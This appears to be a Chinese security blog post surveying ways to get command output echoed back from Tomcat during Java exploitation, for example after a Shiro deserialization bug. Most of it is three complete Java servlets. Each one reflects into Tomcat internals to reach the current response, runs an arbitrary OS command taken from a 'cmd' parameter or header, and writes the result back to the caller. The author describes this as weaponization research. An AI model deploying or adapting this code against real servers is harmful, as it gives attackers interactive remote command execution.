Java安全漫谈(5)——Tomcat 回显综述

0x1 前言

好久不见,这一篇耽搁了很久,终于写出来了。

在写本文的时候,我才真正体会到Java安全的深度,并且理解了武器化的重要性,漏洞研究绝不能止步于calc或简单的执行命令,每种环境的适配、持久化、规避安全设备都是研究人员必须思考的。

0x2 回显方法

目前关于Tomcat 回显的核心思想是获取当前请求的Response并将执行结果写入其中,这种方法比较稳定并且不依赖特定系统。

实现的方法不止一种,逐个来看。

0x01 利用ApplicationFilterChain

我们的任务是在整个代码流程中找到RequestResponse被记录的地方,之后通过反射获取。
来看org.apache.catalina.core.ApplicationFilterChain类:
202211151605094fqwTmimage
在判断结果为真时,将RequestResponse赋值给了该类的静态成员变量。

所以我们的思路是:

  1. 利用反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为真
  2. 再从lastServicedResponse中获取Response并写入命令执行结果

要注意的是,ApplicationDispatcher.WRAP_SAME_OBJECT是一个static final变量,而lastServicedResponse是一个private static final变量,正常情况下利用反射也无法修改,解决办法是先利用反射取出对应字段,再去除final修饰符,最后进行修改。

实现代码:

package com.example.tomcatechotest;

import org.apache.catalina.connector.ResponseFacade;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@WebServlet(name = "echoTest1", value = "/echo1")
public class TomcatEcho1 extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").
                    getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain")
                    .getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain")
                    .getDeclaredField("lastServicedResponse");
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);

            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);

            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            Boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
            String cmd = null;
            if(lastServicedRequest != null){
                cmd = lastServicedRequest.get().getParameter("cmd");
            }
            if(!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null){
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            } else if (cmd != null) {
                ServletResponse servletResponse = lastServicedResponse.get();
                Writer w = servletResponse.getWriter();
                Field responseField = ResponseFacade.class.getDeclaredField("response");
                responseField.setAccessible(true);
                org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response)responseField.get(servletResponse);
                Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
                usingWriterField.setAccessible(true);
                usingWriterField.set((Object) response, Boolean.FALSE);

                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                w.write(output);
                w.flush();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        doGet(req, resp);
    }

}

请求第一次:
20221115160530QfE0skimage
请求第二次:
20221115160600HzrHoBimage
第一次只修改了对应的值,第二次请求时缓存了值,后面就可以正常使用命令执行 了。

该方法的缺点是无法在Shiro反序列化场景中使用,因为Shiro的反序列化在缓存之前,这时还无法取到Response,另外还比较依赖目标使用的处理流程。

0x02 利用全局存储

这种方法主要是通过Tomcat的全局存储机制来获取Response,这样就脱离了目标代码,依赖于Tomcat本身。

1. WebappClassLoaderBase

通过调试,从调用栈里发现了继承于AbstractProcessor类的Http11Processor类:
20221115160622iareEPimage
这两个属性为final,只需要获取该对象就可以得到Response.

回溯调用链,在AbstractProtocol$ConnectionHandler类中,会将当前Processor对象的信息存储在内部类成员变量global中:
20221115160638KLTWHcimage
接下来寻找存储了AbstractProtocol对象的地方,在CoyoteAdapter.service()中对Response进行操作:
20221115160654M4rCpmimage
其中Connector类有一个ProtocolHandler接口成员,它的实现有:
20221115160707QVSceXimage
其中与Http11相关的类也继承了AbstractProtocol类,所以这里就可以串联起来。
获取Connector对象可以通过StandardService类:
20221115160720KvujJ2image
而获取StandardService对象则要依靠Tomcat的加载机制,即WebAppClassLoader加载本身目录下的class文件,加载不到时再交给CommonClassLoader加载。

获取时,先获取当前线程的ClassLoader,再从中寻找service属性。

最终,整体的流程为:

  1. 获取当前线程的ClassLoader,再从中寻找service属性即StandardService对象
  2. StandardService对象中获取Connector对象
  3. 获取Connector对象的ProtocolHandler属性,从而获取AbstractProtocol对象
  4. 获取AbstractProtocol$ConnectionHandler的成员变量global
  5. 获取Processor对象
  6. 遍历该对象得到所需的RequestResponse

实现代码:

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.*;
import org.apache.tomcat.util.http.MimeHeaders;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;

/**
 * Tomcat echo test.(> tomcat7)
 *
 * @author Adan0s
 * @date 2022/11/1 23:00
 **/

public class TomcatEcho extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        boolean flag=false;

        try {
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Connector[] connectors=(Connector[]) getField(getField(getField(standardContext,"context"),"service"),"connectors");


            for(Connector connector:connectors){
                Object global=getField(getField(getField(connector,"protocolHandler"),"handler"),"global");

                ArrayList processors=(ArrayList)getField(global,"processors");


                for(int i=0;i<processors.size();i++){
                    RequestInfo requestInfo=(RequestInfo) processors.get(i);
                    if((int)getField(getField(getField(requestInfo, "req") , "headers"), "count") != 0){
                        MimeHeaders headers = (MimeHeaders) getField(getField(requestInfo, "req") , "headers");
                        String cmd = (String) headers.getHeader("cmd");
                        InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
                        StringBuilder sb = new StringBuilder("");
                        byte[] bytes = new byte[1024];
                        int n = 0 ;
                        while ((n=inputStream.read(bytes)) != -1){
                            sb.append(new String(bytes,0,n));
                        }
                        Request request=(Request) getField(requestInfo,"req");

                        org.apache.catalina.connector.Request Myrequest=(org.apache.catalina.connector.Request) request.getNote(1);
                        org.apache.catalina.connector.Response Myresponse=Myrequest.getResponse();

                        Writer writer=Myresponse.getWriter();
                        writer.write(sb.toString());
                        flag=true;
                    }
                    if(flag){
                        break;
                    }
                }

            }

        } catch (Exception e){
            e.printStackTrace();
        }

    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req,resp);
    }


    public static Object getField(Object obj,String fieldName) throws Exception{
        Field field=null;
        Class clas=obj.getClass();

        while(clas!=Object.class){
            try{
                field=clas.getDeclaredField(fieldName);
                break;
            }catch (NoSuchFieldException e){
                clas=clas.getSuperclass();
            }
        }

        if (field!=null){
            field.setAccessible(true);
            return field.get(obj);
        }else{
            throw new NoSuchFieldException(fieldName);
        }
    }
}

这种方法的主要缺点是只适用于Tomcat 8和9的部分版本,不适用Tomcat 7的原因是该版本获取到的WebappClassLoaderBase对象没有context属性。

对于Tomcat 8.5.78(9.0.62)及之后的版本,WebappClassLoaderBase.getResources()被废弃,始终返回为空,所以这里的实现也无法使用了:
20221115160749yiat24image

2. NioEndPoint

因为Tomcat 7无法通过WebappClassLoaderBase对象来获取AbstractProtocol$ConnectionHandler,为了构造更通用的回显,我们需要寻找新的突破点。
AbstractProtocol$ConnectionHandler类实现了AbstractEndpoint.Handler接口,而AbstractEndpoint类是一个抽象类,所以要寻找其子类:
20221115160806rMu8jKimage
使用的是NioEndPoint类,获取方法是从threads数组中进行遍历:
202211151608192Dyz7Timage
再获取AbstractProtocol$ConnectionHandler对象中的handle,其他部分就一样了。

实现代码:

package com.example.tomcatechotest;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.*;
import org.apache.tomcat.util.http.MimeHeaders;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;

/**
 * Tomcat echo test.(> tomcat7)
 *
 * @author Adan0s
 * @date 2022/11/1 23:00
 **/
@WebServlet(name = "echoTest", value = "/echo")
public class TomcatEcho extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        boolean flag=false;

        try {
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
            for(int i = 0; i < threads.length; i++){
                try{
                    Object global = getField(getField(getField(getField(threads[i], "target"), "this$0"), "handler"), "global");
                    ArrayList processors=(ArrayList)getField(global,"processors");
                    for(int j=0;j<processors.size();j++){
                        RequestInfo requestInfo=(RequestInfo) processors.get(j);
                        if((int)getField(getField(getField(requestInfo, "req") , "headers"), "count") != 0){
                            MimeHeaders headers = (MimeHeaders) getField(getField(requestInfo, "req") , "headers");
                            String cmd = (String) headers.getHeader("cmd");
                            InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
                            StringBuilder sb = new StringBuilder("");
                            byte[] bytes = new byte[1024];
                            int n = 0 ;
                            while ((n=inputStream.read(bytes)) != -1){
                                sb.append(new String(bytes,0,n));
                            }
                            Request request=(Request) getField(requestInfo,"req");

                            org.apache.catalina.connector.Request Myrequest=(org.apache.catalina.connector.Request) request.getNote(1);
                            org.apache.catalina.connector.Response Myresponse=Myrequest.getResponse();

                            Writer writer=Myresponse.getWriter();
                            writer.write(sb.toString());
                            flag=true;
                        }
                        if(flag){
                            break;
                        }
                    }
                }
                catch (Exception e){
                    e.printStackTrace();
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req,resp);
    }
    public static Object getField(Object obj,String fieldName) throws Exception{
        Field field=null;
        Class clas=obj.getClass();

        while(clas!=Object.class){
            try{
                field=clas.getDeclaredField(fieldName);
                break;
            }catch (NoSuchFieldException e){
                clas=clas.getSuperclass();
            }
        }

        if (field!=null){
            field.setAccessible(true);
            return field.get(obj);
        }else{
            throw new NoSuchFieldException(fieldName);
        }
    }
}

0x3 结语

除了文中的这些方法,还有一些在探索过程中发现、不完美的方法并没有提到 ,但并不代表这些方法是没有价值的,有兴趣的可以参看这些文章:

在经过许多师傅的不懈努力之后,可以说Tomcat回显思路已经成型固定,后面的安全人员站在巨人的肩膀上能更容易地摘到苹果,非常感谢他们的无私分享。

这篇文章我个人认为并没达到「漫谈」的标准,只是一篇笔记,因为最近的创作欲望比较低,也许后面会将其重构。